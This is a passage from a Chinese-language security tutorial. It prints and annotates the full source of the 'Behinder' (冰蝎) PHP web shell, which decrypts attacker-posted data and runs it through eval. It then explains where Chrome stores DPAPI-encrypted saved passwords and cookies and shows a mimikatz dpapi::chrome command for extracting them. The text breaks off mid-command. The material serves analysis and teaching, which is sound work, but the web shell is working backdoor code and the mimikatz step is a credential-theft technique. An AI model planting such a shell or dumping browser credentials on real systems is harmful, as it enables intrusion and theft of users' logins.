预备知识
“冰蝎”php一句话木马分析
“冰蝎”是什么?它是一款动态二进制加密网站管理客户端,它可以在HTTP明文协议中建立加密隧道,可以用于躲避传统的WAF、IDS等设备的检测。项目地址:
https://github.com/rebeyond/Behinder
“冰蝎”一句话木马可由Java、php、.net等语言来实现,我们以php为例来看这种新型的php一句话木马的实现:
<?php @error_reporting(0);session_start();//如果接收到pass参数,则会生成16位的随机秘钥,存储到session中if (isset($_GET['pass'])){
$key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key;}//如果没接收到pass参数,则利用存储到session的秘钥进行解密else{
$key=$_SESSION['k']; //接收POST来的加密后的待执行命令 $post=file_get_contents("php://input"); //如果不能加载openssl扩展,则使用base64解码 if(!extension_loaded('openssl')) {
$t="base64_"."decode"; $post=$t($post.""); for($i=0;$i $post[$i] = $post[$i]^$key[$i+1&15]; } } //使用openssl进行AES解密 else {
$post=openssl_decrypt($post, "AES128", $key); } /* 将解密后的$Ppost以`|`分割为数组;例如$post为assert|eval('phpinfo();'),那么分割后为: array("assert", "eval('phpinfo();')") */ $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{
public function __construct($p) {
eval($p."");}} //创建C类,利用__construct中的eval来执行解密后的值 @new C($params);}?>
离线导出Chrome浏览器中保存的密码
DPAPI,Data Protection Application Programming Interface,是Windows系统的一个数据保护接口,主要用于保护加密的数据。Chrome使用DPAPI保存了我们的登录密码和cookie值
用户使用Chrome访问网站进行登录时,可以选择是否保存密码。当选择保存密码时,Chrome先将密码进行加密,再保存在SQLite数据库文件中,数据库文件路径位于:
%LocalAppData%\Google\Chrome\User Data\Default\Login Data
同上,保存Cookie时,数据库文件路径为:
%LocalAppData%\Google\Chrome\User Data\Default\Cookies
存储的cookie值被加密为DPAPI blob来进行保护;我们可以通过使用Mimikatz这个工具来对Chrome中的SQLite数据库进行解析:
mimikatz dpapi::chrome /in:'%LocalAppData%\Google\Chrome\User